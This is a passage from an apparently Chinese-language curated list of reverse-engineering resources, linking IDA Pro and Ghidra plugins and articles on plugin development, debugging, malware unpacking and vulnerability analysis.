- [**931**星][25d] [OCaml] [airbus-seclab/bincat](https://github.com/airbus-seclab/bincat) 二进制代码静态分析工具。值分析（寄存器、内存）、污点分析、类型重建和传播（propagation）、前向/后向分析
- 重复区段: [IDA->插件->结构体->未分类](#fa5ede9a4f58d4efd98585d3158be4fb) |
### <a id="9dcc6c7dd980bec1f92d0cc9a2209a24"></a>字符串
- [**1365**星][3m] [Py] [fireeye/flare-floss](https://github.com/fireeye/flare-floss) 自动从恶意代码中提取反混淆后的字符串
- 重复区段: [IDA->插件->反混淆](#7199e8787c0de5b428f50263f965fda7) |
- [floss](https://github.com/fireeye/flare-floss/tree/master/floss)
- [IDA插件](https://github.com/fireeye/flare-floss/blob/master/scripts/idaplugin.py)
- [**372**星][3m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞
- 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |[IDA->插件->漏洞->未分类](#385d6777d0747e79cccab0a19fa90e7e) |
<details>
<summary>查看详情</summary>
### 功能
- 快速移除函数返回类型
- 数据格式(format)快速转换
- 扫描字符串格式化漏洞
- 双击跳转vtable函数
- 快捷键: w/c/v
</details>
### <a id="06d2caabef97cf663bd29af2b1fe270c"></a>加密解密
- [**449**星][2m] [Py] [polymorf/findcrypt-yara](https://github.com/polymorf/findcrypt-yara) 使用Yara规则查找加密常量
- 重复区段: [IDA->插件->签名(FLIRT等)->Yara](#46c9dfc585ae59fe5e6f7ddf542fb31a) |
***
## <a id="18c6a45392d6b383ea24b363d2f3e76b"></a>文章
### <a id="37634a992983db427ce41b37dd9a98c2"></a>新添加的
- 2019.12 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P27)](https://medium.com/p/5fa5c173547c)
- 2019.12 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P26)](https://medium.com/p/f3fc8d187258)
- 2019.12 [knownsec] [使用 IDA 处理 U-Boot 二进制流文件](https://blog.knownsec.com/2019/12/%e4%bd%bf%e7%94%a8-ida-%e5%a4%84%e7%90%86-u-boot-%e4%ba%8c%e8%bf%9b%e5%88%b6%e6%b5%81%e6%96%87%e4%bb%b6/)
- 2019.12 [venus] [使用 IDA 处理 U-Boot 二进制流文件](https://paper.seebug.org/1090/)
- 2019.11 [hexblog] [Extending IDA processor modules for GDB debugging](http://www.hexblog.com/?p=1371)
- 2019.11 [0x48] [使用IDA处理U-Boot二进制流文件](https://nobb.site/2019/11/29/0x57/)
- 2019.11 [aliyun] [使用IDA microcode去除ollvm混淆(上)](https://xz.aliyun.com/t/6749)
- 2019.10 [cisco] [New IDA Pro plugin provides TileGX support](https://blogs.cisco.com/security/talos/new-ida-pro-plugin-provides-tilegx-support)
- 2019.09 [cisco] [GhIDA: Ghidra decompiler for IDA Pro](https://blogs.cisco.com/security/talos/ghida-ghidra-decompiler-for-ida-pro)
- 2019.09 [cn0xroot] [Fix IDA Crash bug on osx 10.14](https://cn0xroot.com/2019/09/02/fix-ida-crash-bug-on-osx-10-14/)
- 2019.08 [hexblog] [IDA 7.4: IDAPython and Python 3](http://www.hexblog.com/?p=1355)
- 2019.08 [hexblog] [IDA 7.4: Turning off IDA 6.x compatibility in IDAPython by default](http://www.hexblog.com/?p=1352)
- 2019.06 [hitbsecconf] [#HITB2019AMS D1T2 - fn_fuzzy: Fast Multiple Binary Diffing Triage With IDA - Takahiro Haruyama](https://www.youtube.com/watch?v=kkvNebE9amY)
- 2019.05 [aliyun] [欺骗IDA F5参数识别](https://xz.aliyun.com/t/5186)
- 2019.05 [aliyun] [混淆IDA F5的一个小技巧-x64](https://xz.aliyun.com/t/4994)
- 2018.11 [4hou] [使用IDAPython自动映射二进制文件替换默认函数名](http://www.4hou.com/technology/14149.html)
- 2018.10 [WarrantyVoider] [Ida Pro Tutorial - Compare Reverse Engineering](https://www.youtube.com/watch?v=7-OytQJRwtE)
- 2018.06 [freebuf] [MindshaRE：如何利用IDA Python浏览WINDOWS内核](http://www.freebuf.com/articles/system/173269.html)
- 2018.05 [WarrantyVoider] [Tutorial - Debugging In Source Code With IDA Pro](https://www.youtube.com/watch?v=Jgb3KTVg-rY)
- 2018.03 [BinaryAdventure] [x86 In-Depth 4: Labeling Structs Properly in IDA Pro](https://www.youtube.com/watch?v=X3xCwNt2ZVY)
### <a id="4187e477ebc45d1721f045da62dbf4e8"></a>未分类
- 2018.05 [tradahacking] [使用IDA和辅助工具比较二进制文件](https://medium.com/p/651e62117695)
- 2018.04 [pediy] [[翻译]IDAPython-Book（Alexander Hanel）](https://bbs.pediy.com/thread-225920.htm)
- 2018.03 [hexblog] [IDA on non-OS X/Retina Hi-DPI displays](http://www.hexblog.com/?p=1180)
- 2018.03 [pediy] [[翻译]IDA v6.5 文本执行](https://bbs.pediy.com/thread-225514.htm)
- 2018.02 [pediy] [[原创]逆向技术之熟悉IDA工具](https://bbs.pediy.com/thread-224499.htm)
- 2018.01 [pediy] [[原创]ARM Linux下搭建IDA Pro远程调试环境](https://bbs.pediy.com/thread-224337.htm)
- 2018.01 [pediy] [[翻译]对抗IDA Pro调试器ARM反汇编的技巧](https://bbs.pediy.com/thread-223894.htm)
- 2017.12 [OALabs] [Debugging shellcode using BlobRunner and IDA Pro](https://www.youtube.com/watch?v=q9q8dy-2Jeg)
- 2017.12 [pediy] [[原创]IDA7.0 Mac 插件编译指南](https://bbs.pediy.com/thread-223211.htm)
- 2017.12 [pediy] [[原创]IDA 插件- FRIEND 的安装和使用](https://bbs.pediy.com/thread-223156.htm)
- 2017.12 [BinaryAdventure] [IDAPython Tutorial with example script](https://www.youtube.com/watch?v=5ehI2wgcSGo)
- 2017.11 [OALabs] [How To Defeat Anti-VM and Anti-Debug Packers With IDA Pro](https://www.youtube.com/watch?v=WlE8abc8V-4)
- 2017.11 [pediy] [[原创]IDAPython脚本分享 - 自动在JNI_OnLoad下断点](https://bbs.pediy.com/thread-222998.htm)
- 2017.11 [pediy] [[求助]IDA Pro调试so，附加完毕，跳到目标so基址，但是内容都是DCB伪指令？](https://bbs.pediy.com/thread-222646.htm)
- 2017.11 [OALabs] [IDA Pro Malware Analysis Tips](https://www.youtube.com/watch?v=qCQRKLaz2nQ)
- 2017.10 [hexblog] [IDA and common Python issues](http://www.hexblog.com/?p=1132)
- 2017.10 [pediy] [[分享]IDA + VMware 调试win7 x64](https://bbs.pediy.com/thread-221884.htm)
- 2017.06 [pediy] [[翻译]IDA Hex-Rays反编译器使用的一些小技巧](https://bbs.pediy.com/thread-218780.htm)
- 2017.06 [qmemcpy] [IDA series, part 2: debugging a .NET executable](https://qmemcpy.io/post/ida-series-2-debugging-net)
- 2017.06 [qmemcpy] [IDA series, part 1: the Hex-Rays decompiler](https://qmemcpy.io/post/ida-series-1-hex-rays)
### <a id="a4bd25d3dc2f0be840e39674be67d66b"></a>Tips&&Tricks
- 2019.07 [kienbigmummy] [Cách export data trong IDA](https://medium.com/p/d4c8128704f)
- 2019.07 [hexacorn] [Batch decompilation with IDA / Hex-Rays Decompiler](http://www.hexacorn.com/blog/2019/07/04/batch-decompilation-with-ida-hex-rays-decompiler/)
- 2019.06 [openanalysis] [Disable ASLR for Easier Malware Debugging With x64dbg and IDA Pro](https://oalabs.openanalysis.net/2019/06/12/disable-aslr-for-easier-malware-debugging/)
- 2019.06 [OALabs] [Disable ASLR For Easier Malware Debugging With x64dbg and IDA Pro](https://www.youtube.com/watch?v=DGX7oZvdmT0)
- 2019.06 [openanalysis] [Reverse Engineering C++ Malware With IDA Pro: Classes, Constructors, and Structs](https://oalabs.openanalysis.net/2019/06/03/reverse-engineering-c-with-ida-pro-classes-constructors-and-structs/)
- 2019.06 [OALabs] [Reverse Engineering C++ Malware With IDA Pro](https://www.youtube.com/watch?v=o-FFGIloxvE)
- 2019.03 [aliyun] [IDA Pro7.0使用技巧总结](https://xz.aliyun.com/t/4205)
- 2018.06 [checkpoint] [Scriptable Remote Debugging with Windbg and IDA Pro](https://research.checkpoint.com/scriptable-remote-debugging-windbg-ida-pro/)
- 2015.07 [djmanilaice] [在PyCharm中编写IDAPython脚本时自动提示](http://djmanilaice.blogspot.com/2015/07/pycharm-for-your-ida-development.html)
- 2015.07 [djmanilaice] [使用IDA自动打开当前目录下的DLL和EXE](http://djmanilaice.blogspot.com/2015/07/auto-open-dlls-and-exe-in-current.html)
### <a id="04cba8dbb72e95d9c721fe16a3b48783"></a>系列文章-Labeless插件介绍
- 2018.10 [checkpoint] [Labeless Part 6: How to Resolve Obfuscated API Calls in the Ngioweb Proxy Malware - Check Point Research](https://research.checkpoint.com/labeless-part-6-how-to-resolve-obfuscated-api-calls-in-the-ngioweb-proxy-malware/)
- 2018.10 [checkpoint] [Labeless Part 5: How to Decrypt Strings in Boleto Banking Malware Without Reconstructing Decryption Algorithm. - Check Point Research](https://research.checkpoint.com/labeless-part-5-how-to-decrypt-strings-in-boleto-banking-malware-without-reconstructing-decryption-algorithm/)
- 2018.10 [checkpoint] [Labeless Part 4: Scripting - Check Point Research](https://research.checkpoint.com/labeless-part-4-scripting/)
- 2018.08 [checkpoint] [Labeless Part 3: How to Dump and Auto-Resolve WinAPI Calls in LockPos Point-of-Sale Malware - Check Point Research](https://research.checkpoint.com/19558-2/)
- 2018.08 [checkpoint] [Labeless Part 2: Installation - Check Point Research](https://research.checkpoint.com/installing-labeless/)
- 2018.08 [checkpoint] [Labeless Part 1: An Introduction - Check Point Research](https://research.checkpoint.com/labeless-an-introduction/)
### <a id="1a2e56040cfc42c11c5b4fa86978cc19"></a>系列文章-使用IDA从零开始学逆向
- 2019.11 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P25)](https://medium.com/p/304110bdf635)
- 2019.10 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P24)](https://medium.com/p/66451e50163e)
- 2019.10 [tradahacking] [REVERSING WITH IDA FROM SCRATCH (P23)](https://medium.com/p/a03897f960be)
- 2019.09 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P21)](https://medium.com/p/17ce2ee804af)
- 2019.08 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P20)](https://medium.com/p/adc2bad58cc3)
- 2019.08 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P19)](https://medium.com/p/b8a5ccc0efbc)
- 2019.07 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P18)](https://medium.com/p/b9b5987eea22)
- 2019.07 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P17)](https://medium.com/p/13aae3c33824)
- 2019.06 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P16)](https://medium.com/p/66c697636724)
- 2019.06 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P15)](https://medium.com/p/9bb2bbdf6fbc)
- 2019.05 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P14)](https://medium.com/p/fd20c144c844)
- 2019.05 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P13)](https://medium.com/p/adc88403c295)
- 2019.04 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P12)](https://medium.com/p/6b19df3db60e)
- 2019.04 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P11)](https://medium.com/p/34e6214132d6)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P10)](https://medium.com/p/f054072cc4cd)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P9)](https://medium.com/p/3ead456499d2)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P8)](https://medium.com/p/c627c70b5efd)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P7)](https://medium.com/p/986cb6c09405)
- 2019.03 [tradahacking] [REVERSING WITH IDA FROM SCRATCH (P6)](https://medium.com/p/ec232b87a091)
- 2019.03 [kienbigmummy] [REVERSING WITH IDA FROM SCRATCH (P5)](https://medium.com/p/f153835b4ffc)
### <a id="e838a1ecdcf3d068547dd0d7b5c446c6"></a>系列文章-IDAPython-让你的生活更美好
#### <a id="7163f7c92c9443e17f3f76cc16c2d796"></a>原文
- 2016.06 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part6](https://unit42.paloaltonetworks.com/unit42-using-idapython-to-make-your-life-easier-part-6/)
- 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part5](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-5/)
- 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part4](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-4/)
- 2016.01 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part3](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-3/)
- 2015.12 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part2](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-2/)
- 2015.12 [paloaltonetworks] [ Using IDAPython to Make Your Life Easier, Part1](https://unit42.paloaltonetworks.com/using-idapython-to-make-your-life-easier-part-1/)
#### <a id="fc62c644a450f3e977af313edd5ab124"></a>译文
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（五）](http://www.freebuf.com/articles/system/93440.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（四）](http://www.freebuf.com/articles/system/92505.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（三）](http://www.freebuf.com/articles/system/92488.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（二）](http://www.freebuf.com/sectool/92168.html)
- 2016.01 [freebuf] [IDAPython：让你的生活更美好（一）](http://www.freebuf.com/sectool/92107.html)
### <a id="8433dd5df40aaf302b179b1fda1d2863"></a>系列文章-使用IDA逆向C代码
- 2019.01 [ly0n] [Reversing C code with IDA part V](https://paumunoz.tech/2019/01/12/reversing-c-code-with-ida-part-v/)
- 2019.01 [ly0n] [Reversing C code with IDA part IV](https://paumunoz.tech/2019/01/07/reversing-c-code-with-ida-part-iv/)
- 2019.01 [ly0n] [Reversing C code with IDA part III](https://paumunoz.tech/2019/01/02/reversing-c-code-with-ida-part-iii/)
- 2018.12 [ly0n] [Reversing C code with IDA part II](https://paumunoz.tech/2018/12/31/reversing-c-code-with-ida-part-ii/)
- 2018.01 [ly0n] [Reversing C code with IDA part I](https://paumunoz.tech/2018/01/11/reversing-c-code-with-ida-part-i/)
### <a id="3d3bc775abd7f254ff9ff90d669017c9"></a>工具&&插件&&脚本介绍
#### <a id="cd66794473ea90aa6241af01718c3a7d"></a>未分类
- 2019.10 [vmray] [VMRay IDA Plugin v1.1: Streamlining Deep-Dive Malware Analysis](https://www.vmray.com/cyber-security-blog/vmray-ida-plugin-v1-1-streamlining-deep-dive-malware-analysis/)
- 2019.10 [talosintelligence] [New IDA Pro plugin provides TileGX support](https://blog.talosintelligence.com/2019/10/new-ida-pro-plugin-provides-tilegx.html)
- 2019.09 [talosintelligence] [GhIDA: Ghidra decompiler for IDA Pro](https://blog.talosintelligence.com/2019/09/ghida.html)
- 2019.05 [carbonblack] [fn_fuzzy: Fast Multiple Binary Diffing Triage with IDA](https://www.carbonblack.com/2019/05/09/fn_fuzzy-fast-multiple-binary-diffing-triage-with-ida/)
- 2019.04 [] [climacros – IDA productivity tool](http://0xeb.net/2019/04/climacros-ida-productivity-tool/)
- 2019.04 [] [QScripts – IDA Scripting productivity tool](http://0xeb.net/2019/04/ida-qscripts/)
- 2019.03 [] [Daenerys: IDA Pro and Ghidra interoperability framework](http://0xeb.net/2019/03/daenerys-ida-pro-and-ghidra-interoperability-framework/)
- 2019.03 [freebuf] [Ponce：一键即可实现符号执行（IDA插件）](https://www.freebuf.com/sectool/197708.html)
- 2019.01 [talosintelligence] [Dynamic Data Resolver (DDR) - IDA Plugin](https://blog.talosintelligence.com/2019/01/ddr.html)
- 2018.11 [4hou] [FLARE脚本系列：使用idawasm IDA Pro插件逆向WebAssembly（Wasm）模块](http://www.4hou.com/reverse/13935.html)
- 2018.10 [aliyun] [用idawasm IDA Pro逆向WebAssembly模块](https://xz.aliyun.com/t/2854)
- 2018.10 [fireeye] [FLARE Script Series: Reverse Engineering WebAssembly Modules Using the
idawasm IDA Pro Plugin](https://www.fireeye.com/blog/threat-research/2018/10/reverse-engineering-webassembly-modules-using-the-idawasm-ida-pro-plugin.html)
- 2018.10 [vmray] [Introducing the IDA Plugin for VMRay Analyzer](https://www.vmray.com/cyber-security-blog/ida-plugin-vmray-analyzer/)
- 2018.10 [aliyun] [IDA-minsc在Hex-Rays插件大赛中获得第二名（2）](https://xz.aliyun.com/t/2842)
- 2018.10 [aliyun] [IDA-minsc在Hex-Rays插件大赛中获得第二名（1）](https://xz.aliyun.com/t/2841)
- 2018.10 [aliyun] [通过两个IDAPython插件支持A12 PAC指令和iOS12 kernelcache 重定位](https://xz.aliyun.com/t/2839)
- 2018.09 [ptsecurity] [How we developed the NIOS II processor module for IDA Pro](http://blog.ptsecurity.com/2018/09/how-we-developed-nios-ii-processor.html)
- 2018.09 [talosintelligence] [IDA-minsc Wins Second Place in Hex-Rays Plugins Contest](https://blog.talosintelligence.com/2018/09/ida-minsc.html)
- 2018.09 [cisco] [IDA-minsc Wins Second Place in Hex-Rays Plugins Contest](https://blogs.cisco.com/security/talos/ida-minsc-wins-second-place-in-hex-rays-plugins-contest)
- 2018.09 [msreverseengineering] [Weekend Project: A Custom IDA Loader Module for the Hidden Bee Malware Family](http://www.msreverseengineering.com/blog/2018/9/2/weekend-project-a-custom-ida-loader-module-for-the-hidden-bee-malware-family)
#### <a id="43a4761e949187bf737e378819752c3b"></a>Loader&&Processor
- 2019.03 [360] [为CHIP-8编写IDA processor module](https://www.anquanke.com/post/id/172217/)
- 2018.10 [ptsecurity] [Modernizing IDA Pro: how to make processor module glitches go away](http://blog.ptsecurity.com/2018/10/modernizing-ida-pro-how-to-make.html)
- 2018.08 [360] [Lua程序逆向之为Luac编写IDA Pro处理器模块](https://www.anquanke.com/post/id/153699/)
#### <a id="c7483f3b20296ac68084a8c866230e15"></a>与其他工具交互
- 2018.09 [dustri] [IDAPython vs. r2pipe](https://dustri.org/b/idapython-vs-r2pipe.html)
### <a id="ea11818602eb33e8b165eb18d3710965"></a>翻译-TheIDAProBook
- 2008.10 [pediy] [[翻译]The IDA Pro Book 第六章](https://bbs.pediy.com/thread-75632.htm)
- 2008.10 [pediy] [[翻译]（20081030更新）The IDA Pro Book 第12章：使用FLIRT签名识别库](https://bbs.pediy.com/thread-75422.htm)
- 2008.10 [pediy] [[翻译]The IDA Pro Book(第二章)](https://bbs.pediy.com/thread-74943.htm)
- 2008.10 [pediy] [[翻译]The IDA Pro book 第5章---IDA DATA DISPLAY](https://bbs.pediy.com/thread-74838.htm)
- 2008.10 [pediy] [[翻译]The IDA Pro Book(第一章)](https://bbs.pediy.com/thread-74564.htm)
### <a id="ec5f7b9ed06500c537aa25851a3f2d3a"></a>翻译-ReverseEngineeringCodeWithIDAPro
- 2009.01 [pediy] [[原创]Reverse Engineering Code with IDA Pro第七章中文译稿](https://bbs.pediy.com/thread-80580.htm)
- 2008.06 [pediy] [[翻译]Reverse Engineering Code with IDA Pro(第一、二章)](https://bbs.pediy.com/thread-66010.htm)
### <a id="2120fe5420607a363ae87f5d2fed459f"></a>IDA本身
- 2019.01 [pediy] [[原创]IDA7.2安装包分析](https://bbs.pediy.com/thread-248989.htm)
- 2019.01 [pediy] [[原创]IDA 在解析 IA64 中的 brl 指令时存在一个 Bug](https://bbs.pediy.com/thread-248983.htm)
- 2018.11 [hexblog] [IDA 7.2 – The Mac Rundown](http://www.hexblog.com/?p=1300)
- 2018.10 [pediy] [[原创] 修复 IDA Pro 7.0在macOS Mojave崩溃的问题](https://bbs.pediy.com/thread-247334.htm)
### <a id="d8e48eb05d72db3ac1e050d8ebc546e1"></a>逆向实战
#### <a id="374c6336120363a5c9d9a27d7d669bf3"></a>未分类
- 2019.11 [4hou] [反作弊游戏如何破解，看看《黑色沙漠》逆向分析过程：使用 IDAPython 和 FLIRT 签名恢复 IAT](https://www.4hou.com/web/21806.html)
- 2019.11 [aliyun] [使用IDA microcode去除ollvm混淆(下)](https://xz.aliyun.com/t/6795)
- 2019.06 [devco] [破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數](https://devco.re/blog/2019/06/21/operation-crack-hacking-IDA-Pro-installer-PRNG-from-an-unusual-way/)
- 2019.05 [360] [IDAPython实战项目——DES算法识别](https://www.anquanke.com/post/id/177808/)
- 2019.04 [venus] [使用 IDA Pro 的 REobjc 模块逆向 Objective-C 二进制文件](https://paper.seebug.org/887/)
- 2019.01 [ly0n] [Cracking with IDA (redh@wk 2.5 crackme)](https://paumunoz.tech/2019/01/05/cracking-with-ida-redhwk-2-5-crackme/)
- 2018.11 [somersetrecon] [Introduction to IDAPython for Vulnerability Hunting - Part 2](http://www.somersetrecon.com/blog/2018/8/2/idapython-part-2)
- 2018.11 [pediy] [[原创]IDA动态调试ELF](https://bbs.pediy.com/thread-247830.htm)
- 2018.06 [pediy] [[翻译]在IDA中使用Python Z3库来简化函数中的算术运算](https://bbs.pediy.com/thread-228688.htm)
- 2018.03 [duo] [Reversing Objective-C Binaries With the REobjc Module for IDA Pro](https://duo.com/blog/reversing-objective-c-binaries-with-the-reobjc-module-for-ida-pro)
- 2006.05 [pediy] [Themida v1008 驱动程序分析,去除花指令的 IDA 文件](https://bbs.pediy.com/thread-25836.htm)
#### <a id="0b3e1936ad7c4ccc10642e994c653159"></a>恶意代码分析
- 2019.04 [360] [两种姿势批量解密恶意驱动中的上百条字串](https://www.anquanke.com/post/id/175964/)
- 2019.03 [cyber] [使用IDAPython分析Trickbot](https://cyber.wtf/2019/03/22/using-ida-python-to-analyze-trickbot/)
- 2019.01 [OALabs] [Lazy String Decryption Tips With IDA PRO and Shade Ransomware Unpacked!](https://www.youtube.com/watch?v=RfnuMhosxuQ)
- 2018.09 [4hou] [Hidden Bee恶意软件家族的定制IDA装载模块开发](http://www.4hou.com/technology/13438.html)
- 2018.09 [4hou] [用IDAPython解密Gootkit中的字符串](http://www.4hou.com/technology/13209.html)
- 2018.05 [OALabs] [Unpacking Gootkit Part 2 - Debugging Anti-Analysis Tricks With IDA Pro and x64dbg](https://www.youtube.com/watch?v=QgUlPvEE4aw)
- 2018.04 [OALabs] [Unpacking VB6 Packers With IDA Pro and API Hooks (Re-Upload)](https://www.youtube.com/watch?v=ylWInOcQy2s)
- 2018.03 [OALabs] [Unpacking Gootkit Malware With IDA Pro and X64dbg - Subscriber Request](https://www.youtube.com/watch?v=242Tn0IL2jE)
- 2018.01 [OALabs] [Unpacking Pykspa Malware With Python and IDA Pro - Subscriber Request Part 1](https://www.youtube.com/watch?v=HfSQlC76_s4)
- 2017.11 [OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 2)](https://www.youtube.com/watch?v=kdNQhfgoQoU)
- 2017.11 [OALabs] [Unpacking Process Injection Malware With IDA PRO (Part 1)](https://www.youtube.com/watch?v=ScBB-Hi7NxQ)
- 2017.06 [hackers] [Reverse Engineering Malware, Part 3: IDA Pro Introduction](https://www.hackers-arise.com/single-post/2017/06/22/Reverse-Engineering-Malware-Part-3-IDA-Pro-Introduction)
- 2017.05 [4hou] [逆向分析——使用IDA动态调试WanaCrypt0r中的tasksche.exe](http://www.4hou.com/technology/4832.html)
- 2017.05 [3gstudent] [逆向分析——使用IDA动态调试WanaCrypt0r中的tasksche.exe](https://3gstudent.github.io/3gstudent.github.io/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90-%E4%BD%BF%E7%94%A8IDA%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95WanaCrypt0r%E4%B8%AD%E7%9A%84tasksche.exe/)
- 2012.06 [trustwave] [使用IDAPython对Flame的字符串进行反混淆](https://www.trustwave.com/Resources/SpiderLabs-Blog/Defeating-Flame-String-Obfuscation-with-IDAPython/)
#### <a id="03465020d4140590326ae12c9601ecfd"></a>漏洞分析&&挖掘
- 2018.07 [360] [如何使用 IDAPython 寻找漏洞](https://www.anquanke.com/post/id/151898/)
- 2018.07 [somersetrecon] [如何使用IDAPython挖掘漏洞](http://www.somersetrecon.com/blog/2018/7/6/introduction-to-idapython-for-vulnerability-hunting)
### <a id="e9ce398c2c43170e69c95fe9ad8d22fc"></a>Microcode
- 2019.10 [amossys] [探秘Hex-Rays microcode](https://blog.amossys.fr/stage-2019-hexraysmicrocode.html)
### <a id="9c0ec56f402a2b9938417f6ecbaeaa72"></a>IDA对抗
- 2019.05 [aliyun] [混淆IDA F5的一个小技巧-x86](https://xz.aliyun.com/t/5062)
# <a id="319821036a3319d3ade5805f384d3165"></a>Ghidra
***
## <a id="fa45b20f6f043af1549b92f7c46c9719"></a>插件&&脚本
### <a id="2ae406afda6602c8f02d73678b2ff040"></a>Ghidra
- [**18649**星][10d] [Java] [nationalsecurityagency/ghidra](https://github.com/nationalsecurityagency/ghidra) 软件逆向框架
### <a id="ce70b8d45be0a3d29705763564623aca"></a>新添加的
- [**455**星][9m] [YARA] [ghidraninja/ghidra_scripts](https://github.com/ghidraninja/ghidra_scripts) Ghidra脚本
- [binwalk](https://github.com/ghidraninja/ghidra_scripts/blob/master/binwalk.py) 对当前程序运行BinWalk, 标注找到的内容
- [yara](https://github.com/ghidraninja/ghidra_scripts/blob/master/yara.py) 使用Yara查找加密常量
- [swift_demangler](https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py) 自动demangle Swift函数名
- [golang_renamer](https://github.com/ghidraninja/ghidra_scripts/blob/master/golang_renamer.py) 恢复stripped Go二进制文件的函数名
- [**204**星][8m] [Java] [rolfrolles/ghidrapal](https://github.com/rolfrolles/ghidrapal) Ghidra 程序分析库(无文档)
### <a id="69dc4207618a2977fe8cd919e7903fa5"></a>特定分析目标
#### <a id="da5d2b05da13f8e65aa26d6a1c95a8d0"></a>未分类
#### <a id="058bb9893323f337ad1773725d61f689"></a>Loader&&Processor
#### <a id="51a2c42c6d339be24badf52acb995455"></a>Xbox
### <a id="99e3b02da53f1dbe59e0e277ef894687"></a>与其他工具交互
#### <a id="5923db547e1f04f708272543021701d2"></a>未分类
#### <a id="e1cc732d1388084530b066c26e24887b"></a>Radare2
#### <a id="d832a81018c188bf585fcefa3ae23062"></a>IDA
- [**299**星][4m] [Py] [cisco-talos/ghida](https://github.com/cisco-talos/ghida) 在IDA中集成Ghidra反编译器
- 重复区段: [IDA->插件->导入导出->Ghidra](#c7066b0c388cd447e980bf0eb38f39ab) |
- [**238**星][9m] [Py] [daenerys-sre/source](https://github.com/daenerys-sre/source) 使IDA和Ghidra脚本通用, 无需修改
- 重复区段: [IDA->插件->导入导出->Ghidra](#c7066b0c388cd447e980bf0eb38f39ab) |
#### <a id="60e86981b2c98f727587e7de927e0519"></a>DBI
#### <a id="e81053b03a859e8ac72f7fe79e80341a"></a>调试器
### <a id="cccbd06c6b9b03152d07a4072152ae27"></a>外观&&主题
### <a id="45910c8ea12447df9cdde2bea425f23f"></a>脚本编写
#### <a id="c12ccb8e11ba94184f8f24767eb64212"></a>其他
#### <a id="b24e162720cffd2d2456488571c1a136"></a>编程语言
***
## <a id="273df546f1145fbed92bb554a327b87a"></a>文章&&视频
### <a id="8962bde3fbfb1d1130879684bdf3eed0"></a>新添加的1
- 2019.12 [shogunlab] [Here Be Dragons: Reverse Engineering with Ghidra - Part 1 [Data, Functions & Scripts]](https://www.shogunlab.com/blog/2019/12/22/here-be-dragons-ghidra-1.html)
- 2019.11 [freebuf] [使用Ghidra分析phpStudy后门](https://www.freebuf.com/sectool/217560.html)
- 2019.10 [4hou] [使用 Ghidra 分析 phpStudy 后门](https://www.4hou.com/technology/21097.html)
- 2019.10 [knownsec] [使用 Ghidra 分析 phpStudy 后门](https://blog.knownsec.com/2019/10/%e4%bd%bf%e7%94%a8-ghidra-%e5%88%86%e6%9e%90-phpstudy-%e5%90%8e%e9%97%a8/)
- 2019.10 [venus] [使用 Ghidra 分析 phpStudy 后门](https://paper.seebug.org/1058/)
- 2019.10 [WarrantyVoider] [C64LoaderWV - Loading C64 programs into Ghidra](https://www.youtube.com/watch?v=thl6VciaUzg)
- 2019.08 [pentestpartners] [CVE-2019-12103 – Analysis of a Pre-Auth RCE on the TP-Link M7350, with Ghidra!](https://www.pentestpartners.com/security-blog/cve-2019-12103-analysis-of-a-pre-auth-rce-on-the-tp-link-m7350-with-ghidra/)
- 2019.08 [xpnsec] [Analysing RPC With Ghidra and Neo4j](https://blog.xpnsec.com/analysing-rpc-with-ghidra-neo4j/)
- 2019.04 [X0x6d696368] [ghidra_scripts: GoogleSearch.py (to lookup function names via Google)](https://www.youtube.com/watch?v=BMmNg35Cjqo)
- 2019.04 [X0x6d696368] [ghidra_scripts: SimpleStackStrings.py (to reassemble "stack strings")](https://www.youtube.com/watch?v=K_2khlMATew)
- 2019.04 [X0x6d696368] [ghidra_scripts: colorCallGraphCallsTo.py (using SetBackroundColor and traversing the call graph)](https://www.youtube.com/watch?v=SHNO1ZrIQB8)
- 2019.04 [4hou] [利用GHIDRA逆向Tytera MD380的固件](https://www.4hou.com/reverse/17464.html)
- 2019.04 [jeanmichel] [First steps with Ghidra: crackme01](https://medium.com/p/319827a2e80b)
- 2019.03 [GynvaelEN] [Hacking Livestream #74: Ghidra](https://www.youtube.com/watch?v=tXxiuHzjm34)
- 2019.01 [sans] [How to Train Your Dragon: Ghidra Basics](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1574103618.pdf)
### <a id="ce49901b4914f3688ef54585c8f9df1a"></a>新添加的
